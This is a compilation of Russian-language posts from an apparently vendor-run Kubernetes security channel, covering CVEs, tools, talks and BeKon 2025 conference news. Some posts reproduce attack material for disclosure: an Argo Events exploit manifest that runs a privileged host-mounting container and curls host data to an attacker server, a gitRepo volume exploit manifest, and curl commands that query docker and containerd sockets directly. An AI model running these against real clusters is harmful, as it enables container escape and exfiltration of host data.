Мы продолжаем публиковать доклады с программы БеКон 2025!

1) "Kyverno: Рецепты правильного приготовления" (Евгений Берендяев, Avito)

Kyverno на ряду с OPA Gatekeeper это два стандарта де-факто среди PolicyEngines. Если ни одного из них нет, то нет и безопасного и надежного кластера точно. Но и при их наличии их еще надо правильно готовить, так что бы они не валялись от кривых настроек и т.д. Здесь вы узнаете все лучшие практики по развёртыванию и поддержке Kyverno.

2) "Talos Linux в production: без SSH и с удовольствием" (Дмитрий Рыбалка, Lamoda Tech)

На первом БеКон у нас впервые прозвучало про OS Talos и видно как данная система набирает популярность на наших просторах. Но остается также и много вопрос как с такой измененной парадигмой обслуживания вообще жить. Автор как раз и поделится опытом и ответить на любые вопросы!

За детальным описанием выступлений можно обратиться сюда.

А еще появился официальный канал конференции. Рекомендуем подписаться, чтобы быть в курсе новостей, изменений, розыгрышей и тюд.

Вышел Kubernetes v1.33: Octarine!

Это значит, что помимо новых фич, так же что уже 29 июня закончится поддержка версии 1.30.

А вы уже успели перекатиться на 30-ю серию или все еще на 20-й?)

В Блоге Istio есть статья "Istio: The Highest-Performance Solution for Network Security" с очень любопытными замерами! Сравнивалась производительность при шифровании трафика для ряда решений:
- Istio: 1.26 (prerelease), default settings
- Linkerd: edge-25.2.2, default settings
- Cilium: version v1.16.6 с kubeProxyReplacement=true
WireGuard uses encryption.type=wireguard
IPsec uses encryption.type=ipsec with the GCM-128-AES algorithm
Additionally, both modes were tested with all of the recommendations in Cilium’s tuning guide (including netkit, native routing mode, BIGTCP (for WireGuard; IPsec is incompatible), BPF masquerade, and BBR bandwidth manager).
- Calico: version v3.29.2 с calicoNetwork.linuxDataplane=BPF и wireguardEnabled=true
- Kindnet: version v1.8.5 с --ipsec-overlay=true.

В статье A Practical Approach to Keycloak Token Exchange: Converting External Tokens for Internal Use with Kubernetes and Istio рассматривается подход к настройке обмена токенами Keycloak в Kubernetes с помощью Istio.

Автор показывает как сконфигурировать CRD ресурс EnvoyFilter, в котором будет заложена Token Exchange Logic:

- Extract Authorization Header
- Make HTTP Call to Keycloak
- Inject Internal Token

Мы продолжаем публиковать доклады с программы БеКон 2025!

1) "Расширение политик фильтрации трафика в Cilium" (Антон Баранов, ГК Астра)

Придумывать свои кастомные механизмы для сетевой безопасности в Kubernetes в обход CNI это прям признак дурного тона, не говоря уже о вреде для производительности и стабильности. В рамках же этого доклада вы узнаете как ребята все сделали по красоте: добавили свой eBPF код в Cilium, добавили в ресурс CiliumNetworkPolicy нужные поля, доработали Hubble.

2) "Чем собирать контейнеры если вы параноик?" (Михаил Кожуховский, Flowmaster)

Говоря про безопасность контейнеров, нельзя обходить стороной процесс сборки образов. Делая это не правильно, можно поплатиться компрометацией системы... При этом решений с каждым днем все больше - выбор не простой, но этот доклад вам поможет определиться.

За детальным описанием выступлений можно обратиться сюда.

Рады представить новую статью в блоге про то, как наше решение Luntry помогает справиться с нашумевшим IngressNightmare!

Помимо того, что мы детально разбираем сам процесс эксплуатации, так и показываем как с помощью Luntry можно защититься абсолютно на всех уровнях и так как умеем только мы! Обнаружить и предотвратить это с помощью:
- Сканирования образа
- Runtime защиты в гибридном формате
- Генерации NetworkPolicy

По сути можно было даже защититься (обнаружить и предотвратить), когда эти уязвимости были 0day!

P.S. Кстати не так давно мы обновили наш сайт и лого. Как вам ?)

P.S.S. Уже завтра состоится вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества»

Исследователи из Trend Micro, обнаружившие CVE-2025-23359 (bypass после фикса CVE-2024-0132 о которой мы рассказывали тут) выпустил статью Incomplete NVIDIA Patch to CVE-2024-0132 Exposes AI Infrastructure and Data to Critical Risks, в которой раскрыли некоторые подробности.

Так например, они обнаружили некоторые проблемы производительности при использовании нескольких mount в контейнере, которые могут привести к DoS (о той же проблеме производительности независимо сообщили moby и NVIDIA):

1. Когда новый контейнер создается с несколькими маунтами, настроенными с помощью (bind-propagation=shared), устанавливаются несколько родительских/дочерних путей. Однако связанные записи не удаляются из таблицы монтирования Linux после завершения работы контейнера.

2. Это приводит к быстрому и неконтролируемому росту таблицы монтирования, исчерпывая доступные файловые дескрипторы (fd). В конце концов Docker не может создавать новые контейнеры из-за исчерпания fd.

3. Эта чрезмерно большая таблица монтирования приводит к серьезным проблемам с производительностью, не позволяя пользователям подключаться к хосту (например, через SSH).

Основываясь на этом были раскрыты некоторые детали для эксплуатации CVE-2025-23359 (но PoC так и не предоставили):

1. Злоумышленник создает два вредоносных образа контейнера, соединенных друг с другом с помощью символической ссылки volume.
2. Злоумышленник запускает образ на платформе жертвы напрямую или косвенно
3. Это позволяет злоумышленнику получить доступ к файловой системе хоста через состояние гонки.
4. Используя этот доступ, злоумышленник впоследствии может получить доступ к сокетам Container Runtime Unix для выполнения произвольных команд с привилегиями root, т. е. получить полный удаленный контроль над скомпрометированной системой.

Мы начинаем публиковать доклады с программы БеКон 2025!

1) "Без секретов! Workload Identity Federation: безопасная аутентификация в облаке" (Дмитрий Лютов, Yandex Cloud)

Строить безопасность в облаке без механизма Workload Identity очень сложная задача. И если в западных облаках его наличие уже само собой разумеющееся, то в наших просторах далеко не все вообще знают что это за зверь такой. Задача этого доклада рассказать как опасно жить без него, как он устроен и как спасает.

2) "Неочевидные и непонятные моменты безопасности Kubernetes" (Дмитрий Евдокимов, Luntry)

Рабочее название доклада было "Ворчание старого деда про k8s security". А лейтмотивом стали вопросы на тренингах "Почему так?", "Почему до сих пор так?", "Почему не иначе?", "Доколе?" и т.д. В итоге, сформировался список таких моментов.

За детальным описанием можно обратиться сюда.

Стали доступны видеозаписи (378 штук) и слайды с KubeCon + CloudNativeCon Europe 2025!

Следующие KubeCon + CloudNativeCon в этом году будут:
- Hong Kong, China (June 10-11);
- Tokyo, Japan (June 16-17);
- Hyderabad, India (August 6-7);
- Atlanta, US (November 10-13).

P.S. А 3 июня в Москве состоится БеКон 2025 ;)

Вселенная Argo не ограничивается только лишь Argo CD. Так например, совсем недавно была раскрыта уязвимость CVE-2025-32445 с оценкой 10/10 по CVSS в Argo Events, позволяющая пользователю с правами на создание кастомных ресурсов EventSource и Sensor сбежать из контейнера и получить полный контроль над кластером.

Всё дело в том, что Argo Events обрабатывал поля securityContext (и другие) в EventSource, хотя этого не было явно указано в документации. В качестве PoC исследователь приложил следующий YAML манифест, в результате которого на сервер атакующего отправится hostname хоста и листинг /run/containerd/containerd.sock:


apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /


В версии 1.9.6 уязвимость исправили, разрешив пользователю ограниченно выставлять .spec.template.container.

22 апреля в 11:00 наша команда Luntry проведет вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества».

Вы можете задаться вопросом кого мы понимаем тут под специалистами анализа качества? Это специалисты, которым приходится проводить:
- Приёмо-сдаточные испытания (ПСИ) как для внутренних разработок, так и внешних/заказных
- Сертификацию программного обеспечения
- Разбираться с "черными ящиками"

И все это, конечно, в контейнерном исполнении для Kubernetes. И естественно мы покажем как эту нетривиальную задачу можно очень просто решить с помощью нашего решения Luntry.

Зарегистрироваться можно здесь.

P.S. Этот вебинар продолжение серии вебинаров, которые уже показывали как Luntry может помочь CISO и SOC. Далее еще будет для DevSecOps специалистов, разработчиков, безопасников, отвечающих за сетевую безопасность и т.д.

Мало хорошо разбираться в Kubernetes и его безопасности - он все равно тебя сможет рано или поздно удивить. И в таких ситуациях важно знать кто может подсказать в том или ином вопросе ;) Одним из людей к которым я периодически обращаюсь является Миша Петров и он не так давно завел свой канал по k8s и не только - Azalio_tech.

И тут хотелось бы обратить ваше внимание на его последний пост про отключение анонимного доступа к kube-apiserver, но оставляя health checks! Оказывается это возможно, но только придется похимичить с конфигами на новых версиях куба 1.31, 1.32.

Про опасность анонимного доступа и почему его важно отключать мы писали ранее тут и тут.

Начинаем эту неделю с интересной статьи – Cloud Digital Forensics and Incident Response — Elastic Kubernetes Service Takeover Leads to Cryptominer Deployment.

В ней автор, на примере вымышленной истории, рассказывает как можно проводить форензику в AWS. Не смотря на то, что история вымышлена, в ней приводятся реальные техники атакующих – web application command injection, Instance Metadata Service (IMDS) access, JSON Web Token (JWT) abuse, и valid credential abuse.

Также автор показывает как расследовать такой инцидент, используя web server logs, container logs, CloudWatch Kubernetes logs, и CloudTrail logs.

В Open Source версии Calico 3.30 появится собственный web-based графический интерфейс для просмотра и фильтрации flow логов для разбора проблем с соединениями и анализа работы NetworkPolicy. Данный компонент называется Whisker и состоит из трех компонентов:
1) Whisker UI - фронтенд
2) Whisker backend - бэкенд для получения данных
3) Goldmane - gRPC API server

Сегодня хотим поделиться очередным новым проектом с просторов GitHub – Dracan. Довольно сложно описать Dracan одним предложением, однако скорее его можно отнести к чему-то между Authorization Policy от Istio, Network Policy и WAF. Сейчас он умеет следующее:

- HTTP Method Filtering
- JSON Validation
- Request Limiting
- Payload Limitation
- URI Filtering
- Header Validation

Авторы позиционируют его как легковесный инструмент, для эксплуатации которого не нужен опыт настройки WAF или большая DevOps экспертиза.

Всем, привет!

Хотим напомнить, что с завтрашнего дня будет повышение цен на билеты на нашу конференцию по БЕзопасности КОНтейнеров и Kubernetes - БеКон!

Прием заявок на доклады уже остановлен, идет их анализ и уже совсем скоро мы начнем их постепенно публиковать ;)

Давайте сегодня познакомимся с online-площадками, где можно потренироваться в написании политик для Policy Engine как внешних по отношению к Kubernetes, так и встроенным:

1) Kyverno Playground - очевидно что для политик для Kyverno как на YAML, так и на CEL
2) Rego Playground - для политик OPA Gatekeeper на Rego (хотя OPA Gatekeeper уже поддерживает и CEL)
3) CEL Playground - для политик Validating Admission Policy на CEL

Думаем что легко можно заметить сильное влияние Kubernetes Validating Admission Policy, появившегося в GA в 1.30, с его CEL.

P.S. Если вы по сей день не используете никакой из этих 3-х движков, то непонятно как вы строите безопасность Kubernetes кластера ....

Сегодня хотим поделиться с вами статьей Signed container images in Kubernetes with Sigstore and HashiCorp Vault.

В ней автор рассказывает о том, как можно использовать подписанные docker images совместно с Vault, а именно более подробно говорит про:

- написание политик
- конфигуририрование Vault
- подпись и верификация container image
- загрузка подписи в репозиторий
- конфигурирование image signing policies через CRD

Недавно прошел KubeCon + CloudNativeCon Europe 2025 и видео еще не доступны, но есть уже слайды по некоторым докладам.

Хочется отметить доклад "Enhancing Software Composition Analysis Resilience Against Container Image Obfuscation", который продолжает тему сокрытия уязвимостей в образах контейнеров. Мы писали об этом тут, тут и тут. Но на этот раз ребят подошли тут к вопросу с академической точки зрения и со всеми соответствующими атрибутами этого. И у них получилось отлично дополнить картину прошлых работ. Также они выложили репозитарий с кодом "Container obfuscation benchmark", чтобы можно было повторить их эксперимент.

В очередной раз хочется сказать, что стройте ZeroTrust защиту, а не вокруг управления уязвимостями - они были, есть и будут (их еще и спрячут от вас).

P.S. Ближайшие 2 дня наша команда на DevOpsConf 2025 - будем рады пообщаться лично!

Сегодня еще один пост про Linux user namespace ;)

Но уже про баги, точнее про обход механизма безопасности, который придумали и внедрили разработчики Ubuntu в свою ОС (в других ОС такой механизм вообще отсутствует). Оригинальный материал в заметке от исследователей называется "Three bypasses of Ubuntu's unprivileged user namespace restrictions" и описывает 3 способа обхода механизма sysctl kernel.apparmor_restrict_unprivileged_userns, через:
1) aa-exec
2) busybox
3) LD_PRELOAD

Если кратко, то задача данного механизма в том чтобы когда непривилегированный пользователь создавал unprivileged user namespace в нем не содержалось опасных административных capabilities (типа CAP_SYS_ADMIN или CAP_NET_ADMIN), которые чрезвычайно увеличивают поверхность атаки на ядро ОС.

Получение таких привилегий может в дальнейшем использоваться для ядерных эксплойтов, например чтобы сбежать из контейнера. О таком мы уже рассказывали тут.

Подготовка к нашей конференции БеКон 2025 идет полным ходом: программа формируются, партнеры подписываются, первый мерч готовится, стикерпак печатается!

До 3 июня уже не так-то и много времени осталось и возможность взять билеты по самой низкой цене ;)

P.S. Билетов ограниченное количество, все с учетом размеров площадки, чтобы всем было комфортно.

В официальном блоге Kubernetes вышла статья "Kubernetes v1.33 sneak peek", посвященная предстоящему релизу новой версии. С точки зрения безопасности этот релиз примечателен тем, что в нем наконец-то спустя 9 лет до GA доберётся KEP-127: Support User Namespaces in pods! И это прям очень круто для безопасности контейнеров в Kubernetes - можно сказать настоящая веха и понятия root пользователя будет делиться на до этого момента и после этого момента) Почему именно так? Можно ознакомиться в прошлогоднем докладе с нашей конференции БеКон под названием "Linux user namespace в чертогах Kubernetes".

С 30 по 31 марта в Лондоне, в предверии KubeCon Europe 2025, прошла конференция Cloud Natvie Rejekts Europe 2025. Для тех кто не знает, напомним – на этой конференции спикеры это те люди, которых не взяли в основную программу KubeCon.

Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments – доклад, который не остался незамеченным. В нём, Wojciech Kocjan, рассказывает как готовить тонкие образы для AI / ML нужд – минимизируя ненужные зависимости, выбирая безопасные базовых образы, и оптимизируя время сборки.

Доклад доступен в записи трансляции.

В преддверии KubeCon Europe 2025 прошел Cloud Native Rejekts Europe 2025 и уже доступны все записи докладов:
- Первый день зал The Nash
- Первый день зал The Waterloo
- Второй день зал The Nash
- Второй день зал The Waterloo

Отдельно отметить доклады:
- Kyverno Chronicles: A DevSecOps Tale
- Immutable Turtles All the Way Down – Image-Based Kubernetes to power In-Place Updates
- The future of configurability in Kubernetes with Common Expression Language (CEL)
- Pod Deep Dive: Everything You Didn't Know You Needed to Know
- What I wish I knew about container security
- Who Secures the Service Mesh? Mind the Gap in Your Mesh
- Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments
- The Service Mesh Wars: A New Hope for Kubernetes
- The Kubernetes Guardians: A Deep Dive Into Your Security Avengers
- API-Driven Security Automation for AKS: Falco Talon meets eBPF-powered Retina

Смотреть, не пересмотреть, но мы вам позже обо всем этом расскажем ;)

we

Парочку объявлений:

1) CFP БеКон 2025

Сегодня последний день принятия заявок! Далее мы примерно неделю их обработаем и даем ответ с обратной связью. И будем постепенно публиковать программу. До 10 апреля можно успеть купить билет по ранней цене.

2) Итоги конкурса от DevOpsConf 2025

Победители:
- @malibuup (offline билет)
- @atai_19 (online билет)
- @uburro (online билет)

Поздравляем победителей! И напоминаем про промокод на скидку в 5% при покупке билета dc25_k8security.

Парочку объявлений:

1) CFP БеКон 2025

Сегодня последний день принятия заявок! Далее мы примерно неделе их обработаем и дадим ответ. Далее будем постепенно публиковать программу.

2) Итоги конкурса от DevOpsConf 2025

Победители:
- @malibuup (offline билет)
- @atai_19 (online билет)
- @uburro (online билет)

Поздравляем победителей! И напоминаем про промокод на скидку в 5% при покупке билета dc25_k8security.

Наши друзья из Флант сделали картинку k8s security iceberg про механизмы безопасности в Kubernetes и их уровни: от более простых к более сложным. Тоесть с чего по их мнению обычно начинают и к чему можно прийти в увлекательном пути обеспечения безопасности.

На первый взгляд может показать, что подобное сделать легко, но это не так. В своих подходах к подобному у меня получалось или все очень просто - всего лишь несколько пунктов на каждом уровне или каждый пункт разбивался еще на 5-10 подпунктов. В общем детализация сильно усложняет подобное... На пример, можно просто написать security feature gates и admission controllers, или перечислить конкретные.

А как насчет взять и сделать совместную редакцию K8s(in)security community edition данного айсберга?) Давайте в комментариях к данному посту попробуем расширить/поправить/улучшить/... данную версию. Считаем что уровни айсберга идут сверху вниз от 1 до 8.

Сегодня хотим поделиться с вами очередным инструментом – Pinniped.

По сути, Pinniped выступает в роли authentication service для Kubernetes кластера. Он поддерживает различные authenticator types и OIDC identity providers, а также имплементирует различные стратегии интеграции с различными дистрибутивами Kubernetes для облегчения аутентификации.

Сегодня наша команда Luntry в рамках конференции Deckhouse Conf 2025 представит доклад "Стандарт безопасности контейнеров NIST 800-190 в 2025 году".

В процессе подготовки выступления были проанализированы документы NIST серии SP 800, связанные так или иначе с микросервисами, контейнерами, облаками и Cloud Native технологиями в общем.

В прикрепленной картинке вы можете наблюдать их перечень и при желании уже ознакомиться самостоятельно ;)

Исследователи из WIZ плотно взялись за ресерч очередного продукта, на этот раз – ingress-nginx controller. В результате было раскрыто 5 уязвимостей, одна из которых имеет severity critical.

Что интересно, в отличии от прошлых CVE, что находили в контроллере, для эксплуатации этих уязвимостей (не всех) не нужно создавать ресурс Ingress. Атакующему необходимо отправлять вредносные запросы через admission review напрямую в admission controller.

Максимальный импакт может нанести атакующий, находящийся внутри сети Kubernetes. И тут на помощь в очередной раз приходит Network Policy! Не устаем напоминать насколько это must have механизм.

Несмотря на то, что исследователи довольно подробно описали технические детали для эксплуатации уязвимостей реального эксполйта они не опубликовали. Однако PoC уже доступны на GitHub.

Забавно, что для уязвимости с максимальной критичностью 9.8 по CVSS для фикса просто закомментировали уязвимый функционал:

/* Deactivated to mitigate CVE-2025-1974
// TODO: Implement sandboxing so this test can be done safely

В Kubernetes раскрыта очередная уязвимость – CVE-2024-7598: Network restriction bypass via race condition during namespace termination.

Наверняка вы замечали, что некоторые ресурсы могут висеть в статусе terminated при удалении namespace целиком. Так вот порядок удаления ресурсов при таком namespace termination не определен, и это может привести к тому, что в какой-то момент времени Pods будут всё ещё работать, а Network Policy уже не будет существовать и применяться к Pods. Такое удаление ресурсов вызывает состояние гонки, которое в свою очередь даёт возможность обойти сетевые ограничения, наложенные Network Policy.

Аналогично совсем недавно раскрытой CVE-2025-1767 исправлений для текущих версий нет. Однако, очередность удаления ресурсов уже реализована в рамках KEP 5080 и будет завезена в статусе alpha в 1.33.

В качестве мер митигации предлагается вручную удалять Workloads перед удалением Namespace. Также предлагается использовать Network Policy Finalizer.

Уязвимость затрагивает Kubernetes кластера >= v1.3 версии и имеет оценку Low (3.1) по CVSS.

На нашем сайте в разделе Исследований стали доступны слайды и видеозапись выступления "Форензика для контейнеров и контейнерных инфраструктур" c CyberCamp 2025.

И если вам эта тема интересна и близка, то напоминаем что уже завтра 25 марта в 11:00 состоятся вебинар "Безопасность контейнеров и Kubernetes для SOC". Зарегистрироваться можно тут.

Сегодня нашему каналу k8s (in)security исполняется 5 лет !!!

Мы всей нашей командой Luntry стараемся держать уровень и радовать вас новыми интересными материалами и мыслями про безопасность контейнеров и Kubernetes!

Не так давно мы пересекли рубеж в 10 000 подписчиков и продолжаем уверенно расти благодаря вам и формировать отличное сообщество. Вместе с вами в этом году мы уже проведем 3 специализированную конференцию БеКон!

Будем рады если поздравите нас в комментариях и/или поделитесь ссылкой на наш канал с друзьями, что интересуются данной темой.

P.S. А для меня это всегда двойной праздник, так как День рождение и у моего сынишки, который на 1 год младше данного канала)

Grant - инструмент (от создателей Syft и Grype) для работы с лицензиями для образов контейнеров, SBOM, файловых систем и применения правил для построения отчетов соответствия лицензионным политикам/требованиям.

Пример правила:
pattern: "*gpl*"
name: "deny-gpl"
mode: "deny"
reason: "GPL licenses are not allowed"
exceptions:
- "alpine-base-layout" # We don't link against this package so we don't care about its license

Конкурс!

7 и 8 апреля в Москве пройдет DevOpsConf 2025! Там как всегда будем много интересного по теме контейнеров, Kubernetes и безопасности этих технологий.

Мы разыгрываем:
- 1 офлайн билет
- 2 онлайн билета

И так, Kubernetes очень активно развивается и с каждой новой версией там появляется все больше новых возможностей! Это легко можно увидеть, на пример, в проекте Kaniuse, который является Kubernetes Feature Status Tracker.

Для того чтобы выиграть один из призов в комментариях к данному посту напиши какую вы фичу ждете и почему, описав конкретную вашу боль. Эта фича как уже может иметь какой-то KEP, так и полностью придумана вами. Чем подробнее вы опишите тем больше шансов выиграть.

Варианты принимаем до 27 марта.

P.S. Наша команда будет на конференции и мы с радостью пообщаемся в офлайн.

P.S.S. Промокод на скидку в 5% при покупке билета dc25_k8security ;)

Сегодня вернемся к атакующей тематике, а именно – Mark Manning представил крутейший доклад Command and KubeCTL: Kubernetes Security for Pentesters and Defenders на прошедшей вчера конференции B-Sides Reykjavik 2025.

В докладе он рассмотрел Real World Scenario – начиная с компрометации среды сборки и заканчивая эксфильтрацией секретов в продакшн кластере Kubernetes.

Также нельзя упомянуть о модификациях некоторых ранее известных инструментов, которые автор сделал специально для доклада:

1) В go-pillage-registries добавлен bruteforce имен образов для выкачивания их из regsitry, а также добавлена интеграция с trufflehog для поиска чувствительных данных внутри образов.
2) В backdoored-vault (форк Vault) добавлена DNS эксфильтрация секретов

Со слайдами можно ознакомиться тут.

Вернемся к непопулярной у нас теме (но при этом достаточной интересной) - Windows containers и поможет нам в этом статья "How do COWs (Containers on Windows) work?" с хорошей визуализацией и сравнением с Linux containers.

При этом отдельно хочется отметить что аналогичный runc компонент в Windows под названием hcsshim (Host Compute Service Shim) доступен в исходниках и изучить его можно тут.

Возвращаясь к CVE-2025-1767, о которой мы рассказывали в прошлую пятницу, нельзя не упомянуть о довольно простой эксплуатации этой баги:

apiVersion: v1
kind: Pod
metadata:
name: git-repo-pod-test
spec:
containers:
- name: git-repo-test-container
image: raesene/alpine-containertools
volumeMounts:
- name: git-volume
mountPath: /tmp
volumes:
- name: git-volume
gitRepo:
repository: "/TestingScripts"
directory: "."


Про это подробно Rory McCune рассказал в свой статье CVE-2025-1767 - Another gitrepo issue.

Кстати говоря, после выхода CVE-2025-1767 активизировались обсуждения насчет выпиливания gitRepo Volume как фичи с версии Kubernetes 1.33 по умолчанию. И как итог, в рамках KEP-5040, gitRepo Volume driver был удален. Более подробно обсуждения можно почитать тут и тут.

Этот кейс еще раз показывает важность использования Policy Engine механизмов.

Будущая версия containerd 2.1 еще на шаг приблизит возможность в Kubernetes делать live миграцию сервисов! Изучите данный тикет "Support container restore through CRI/Kubernetes #10365" - там много всего интересного с исторической репрезентацией данного вопроса. При этом есть и параллели с Podman и CRI-O, в которых эта фича тоже есть.

С точки зрения ИБ напомним, что это упростить процесс форензики в контейнерах нативными средствами контейнеров.

Мы запустили продажу билетов на БеКон 2025! Успейте взять билет по ранней цене.

P.S. Напоминаем про промокоды на скидку на бейджах прошлого года ;)

Очередная unpatchable CVE в Kubernetes – CVE-2025-1767: GitRepo Volume Inadvertent Local Repository Access.

Уязвимость позволяет пользователям с правами на создание Pods использовать gitRepo Volumes для доступа к локальным git-репозиториям, принадлежащим другим Pod'ам на той же Node. Поскольку функциональность in-tree gitRepo Volumes была признана deprecated и не будет получать обновления безопасности, все кластеры, использующие эту функцию, остаются уязвимыми. Тем не менее уязвимость получила оценку 6.5 по CVSS.

В качестве меры митигации предлагается использовать init контейнер для выполнения операции git clone, а затем смонтировать каталог в основной контейнер:


apiVersion: v1
kind: Pod
metadata:
name: git-repo-demo
spec:
initContainers:
- name: git-clone
image: alpine/git
args:
- clone
- --single-branch
- --
- https://github.com/kubernetes/kubernetes
- /repo
volumeMounts:
- name: git-repo
mountPath: /repo
containers:
- name: busybox
image: busybox
args: ['sleep', '100000']
volumeMounts:
- name: git-repo
mountPath: /repo
volumes:
- name: git-repo
emptyDir: {}

Команда kubectl cordon одна из важнейших и одна из самых первых команд, которую нужно использовать в случае обнаружения security инцидента в контейнере на Node.

И все это для того чтобы не помешать в дальнейшем провозить форензику на данном узле.

P.S. Если тема интересна, то в эту пятницу мы представим доклад «Форензика для контейнеров и контейнерных инфраструктур».

Новый режим nftables для kube-proxy был представлен в качестве альфа-функции в Kubernetes 1.29. В настоящее время он находится в бета-версии, но в версии 1.33 (выйдет в конце апреля) ожидается появление в GA. Новый режим устраняет давние проблемы с производительностью режима iptables, и всем пользователям, работающим на системах с достаточно свежими ядрами, рекомендуется опробовать его.

Более подробно про сравнение и бенчмарки со старым режимом можно почитать в статье NFTables mode for kube-proxy.

Проект Cyphernetes - это новый язык запросов для Kubernetes. С примерами запросов можно ознакомиться тут. В данном языке работа с ресурсами k8s идет как с графом. У проекта есть как CLI утилита (дает работать через web UI, REPL и просто запросом), так и operator.

После этого наверно можно сказать, что у Kubernetes уже есть все свое, включая язык запросов =)

Недавно мы рассказывали как нужно смотреть CISO (и другим на С-level уровне) на безопасность контейнеров и Kubernetes. А теперь 25 марта мы расскажем это с ориентиром на специалистов SOC (Security Operation Center). Это будет полезно как внутренним, так и внешним SOC.

Зарегистрироваться можно тут.

На конференции SCaLE 22x был представлен доклад "Many Ways of Building Containers: From Manual to Transparently Built On-Demand Containers" (слайды).

Из него можно узнать как в ручную (hard way) собрать образ контейнера!
Далее с помощью утилит: Buildpacks, NixPacks, Nixery, Kontain.me, MinToolkit.
И еще автор задается вопросом "Как собрать контейнер, который грузится быстро." и дает на него ответ, где речь идет про lazy loads, eStargz.

14 марта наша команда Luntry выступит на митапе CyberCamp, который в этот раз посвящён сфере Digital Forensics & Incident Response, с темой «Форензика для контейнеров и контейнерных инфраструктур».

Расследование инцидентов в среде, где практически все временно и эфемерно, совсем не простая задача. И с виду может показаться, что это свойство среды дает преимущество злоумышленникам. Но технологии не стоят на месте, и на стороне защиты все становится не так печально.

В своем выступлении мы разберем, как и что нам может сегодня помочь проводить форензику в контейнерах.

Зарегистрироваться на митап можно по ссылке.

Исследователи из CrowdStrike недавно выпустили статью с интересным названием – Improving Kubernetes Security: Lessons from an Istio Configuration Finding. В статье они рассказывают, как атакующий с возможностью создавать Pod с парой определенных аннотаций от Istio и специально заготовленного образа может сбежать из контейнера (без магии в SecurityContext).

Так например, используя аннотацию sidecar.istio.io/proxyimage, можно задать кастомный образ для sidecar контейнера. А аннотация sidecar.istio.io/enableCoreDump добавляет sidecar контейнеру CAP_SYS_ADMIN capability.

Интересно, что команда Istio не признала это как проблему безопасности, сославшись на то, что пользователь с достаточными привилегиями может запустить такой контейнер и сбежать из него независимо от Istio. Хотя этот аргумент верен, создание такого debug контейнера с возможностью выполнения произвольного кода под прикрытием Istio может значительно затруднить его обнаружение в случае реальной атаки, поскольку sidecar контейнер Istio будет выглядеть гораздо более легитимным, чем неучтенный «обычный» привилегированный контейнер.

Данную ситуацию можно контролировать с помощью Policy Engine, на пример, Kyverno, но и тут надо очень внимательно писать политику. Стандартное контролирование YAML ресурса Pod в разделе Security Context не поможет. Так что как всегда Policy Engine must have!

Однако, после обращения ресерчеров из CrowdStrike, команда Istio немедленно открыла PR, чтобы удалить функциональность четырехлетней давности. 7 октября PR был принят.

Всем, привет!

Мы рады официально объявить дату нашей конференции по безопасности контейнеров и контейнерных сред БеКон 2025 и это 3 июня!

Продажа билетов стартанет на следующей неделе ;)

Также напомним, что прием заявок на доклады идет до 31 марта!

Стали доступны материалы с нашего вебинара "Безопасность контейнеров и Kubernetes для CISO" запись (ВК,YouTube) и слайды (тут). Приятного просмотра!

P.S. Скоро объявим даты нашего следующего вебинара "Безопасность контейнеров и Kubernetes для SOC".

Исследователь Graham Helton опубликовал ресурс yProbe – Kubernetes YAML Manifest Sanity Checker.

Онлайн сервис может проверять загружаемые в него YAML манифесты с Workloads на Pod Security Standard, а также проверять избыточные RBAC привилегии в Role или Cluster Role.

По сути, yProbe представляет из себя ничто иное как супер обрезанную версию Policy Engine в режиме Audit и с красивой визуализацией.

Также автор выложил исходный код сервиса на Github.

Сегодня в центре нашего внимания документ "SoK: A Comprehensive Analysis and Evaluation of Docker Container Attack and Defense Mechanisms" (github).

В данной работе авторы пытаются систематизировать атаки на контейнеры и механизмы их защиты.

Атаки:
1) Execute Arbitrary Code
2) Gain Privilege
3) Disclose Credential Information
4) Authentication Bypass
5) Denial Of Service

Защитные техники:
1) Static Scanning - тут сканы на уязвимости образов
2) Image Hardening - тут уменьшение поверхности атаки, убирая все лишнее
3) Security Policies and Practices - тут отсутствие запуска от root, флага privileged, использование AppArmor и Seccomp профилей
4) Dynamic Anomaly Detection - обучение и обнаружение аномалий

В выводах авторы пришли к тому что нужно сочетать как статические, так и динамические механизмы безопасности.

Послевкусие после изучения материала странное - вроде и много что упомянули, но при этом есть что еще добавить и в атаках и в защитах ...

Наверняка многие знают, что с docker socket можно достаточно легко взаимодействовать при помощи curl, даже когда в контейнере нет подходящих инструментов или возможности докачать их извне:

$ curl -s --unix-socket /var/run/docker.sock http:/containers/json

Но также легко это делать, если мы имеем дело с containerd socket ?

Для начала мы можем докачать или воспользоваться имеющимся инструментами типа ctr или crictl:

$ sudo ctr --address /var/run/containerd/containerd.sock -n k8s.io containers list
CONTAINER IMAGE RUNTIME
01a91532d97f8f7162c477dd1e402520d313e9c4333827d74a93cde25dddc1cc registry.k8s.io/pause:3.6 io.containerd.runc.v2
05536e2ec91d018cdb4edac21ab613b22f0755721e082c99f81b87516bce60ec registry.k8s.io/pause:3.6 io.containerd.runc.v2
0894b4942001821ad9c36949ae7c15fc2dd9b54bf6e5d531b6e5b03e6f5e313c docker.io/calico/cni:v3.25.0 io.containerd.runc.v2

Если их нет, то можно также отправить запрос с помощью curl, правда это будет несколько сложнее:

$ echo -ne "\x00\x00\x00\x00\x00" | sudo curl -v -s --http2-prior-knowledge --unix-socket /run/containerd/containerd.sock -X POST -H "content-type: application/grpc" -H "te: trailers" -H "grpc-accept-encoding: gzip" http://localhost/containerd.services.version.v1.Version/Version --data-binary @- --output /tmp/versionresponse.bin
* Trying /run/containerd/containerd.sock:0...
* Connected to localhost (/run/containerd/containerd.sock) port 80 (#0)
* Using HTTP2, server supports multiplexing
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
